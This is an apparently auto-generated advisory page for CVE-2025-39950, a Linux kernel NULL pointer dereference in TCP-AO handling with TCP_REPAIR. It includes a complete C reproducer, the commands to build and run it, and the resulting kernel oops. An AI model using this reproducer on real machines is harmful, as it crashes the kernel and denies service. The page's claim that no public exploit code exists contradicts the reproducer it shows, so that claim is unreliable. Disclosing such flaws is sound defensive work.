# CVE-2025-39950: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

> A local attacker can cause a kernel crash by triggering a NULL pointer dereference in TCP-AO handling when TCP_REPAIR is enabled.

- **Severity:** Medium 5.5 (`CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`)
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Local or same network only
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 4 Oct 2025
- **Updated:** 11 May 2026
- **Also known as:** BELL-CVE-2025-39950, DEBIAN-CVE-2025-39950, GHSA-f4h6-hf7g-852r, ROOT-OS-DEBIAN-13-CVE-2025-39950, ROOT-OS-UBUNTU-2404-CVE-2025-39950, UBUNTU-CVE-2025-39950

## What is CVE-2025-39950?

CVE-2025-39950 is a medium-severity vulnerability in Linux kernel, published on 4 Oct 2025. It can only be exploited from the same machine or local network, with no action from the victim.

### Official description

In the Linux kernel, the following vulnerability has been resolved:

net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.

The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)->seq without a prior skb validation.

Fix this by checking if skb is NULL before dereferencing it.

The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.

int main(void){
	struct sockaddr_in sockaddr;
	struct tcp_ao_add tcp_ao;
	int sk;
	int one = 1;

	memset(&sockaddr,'\0',sizeof(sockaddr));
	memset(&tcp_ao,'\0',sizeof(tcp_ao));

	sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	sockaddr.sin_family = AF_INET;

	memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
	memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
	tcp_ao.keylen = 16;

	memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));

	setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
	sizeof(tcp_ao));
	setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));

	sockaddr.sin_family = AF_INET;
	sockaddr.sin_port = htobe16(123);

	inet_aton("127.0.0.1", &sockaddr.sin_addr);

	connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));

return 0;
}

$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn

BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 [#1] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)

Weakness: CWE-476 (NULL Pointer Dereference)

## Which versions are affected by CVE-2025-39950?

It affects 1 product.


Products: Linux kernel.

## How do I fix CVE-2025-39950?

Apply the vendor's patch.

## Is CVE-2025-39950 being exploited?

There is no known exploitation of CVE-2025-39950 in the wild and no public exploit code.

## Other vulnerabilities in Linux kernel

- [CVE-2026-53266](https://insights.sbomify.com/CVE-2026-53266/): Linux Kernel Out-of-Bounds Write (high 8.8, exploited in the wild)
- [CVE-2013-6282](https://insights.sbomify.com/CVE-2013-6282/): Linux Kernel Improper Input Validation (high 8.8, exploited in the wild)
- [CVE-2022-0185](https://insights.sbomify.com/CVE-2022-0185/): Linux Kernel Heap-Based Buffer Overflow (high 8.4, exploited in the wild)
- [CVE-2013-2094](https://insights.sbomify.com/CVE-2013-2094/): Linux Kernel Privilege Escalation (high 8.4, exploited in the wild)
- [CVE-2026-53362](https://insights.sbomify.com/CVE-2026-53362/): Linux Kernel Unspecified (high 7.8, exploited in the wild)

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2025-39950 and fix it if it is affected.

What it is: CVE-2025-39950 is a medium-severity vulnerability in Linux kernel, published on 4 Oct 2025. It can only be exploited from the same machine or local network, with no action from the victim.
Exploitation: There is no known exploitation of CVE-2025-39950 in the wild and no public exploit code.

Affected product: Linux kernel. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2025-39950/ (Markdown: https://insights.sbomify.com/CVE-2025-39950/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2025-39950
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-39950
- OSV: https://osv.dev/vulnerability/CVE-2025-39950

---
From sbomify Insights: https://insights.sbomify.com/CVE-2025-39950/
Summaries are generated and may contain mistakes; the official description above is the record.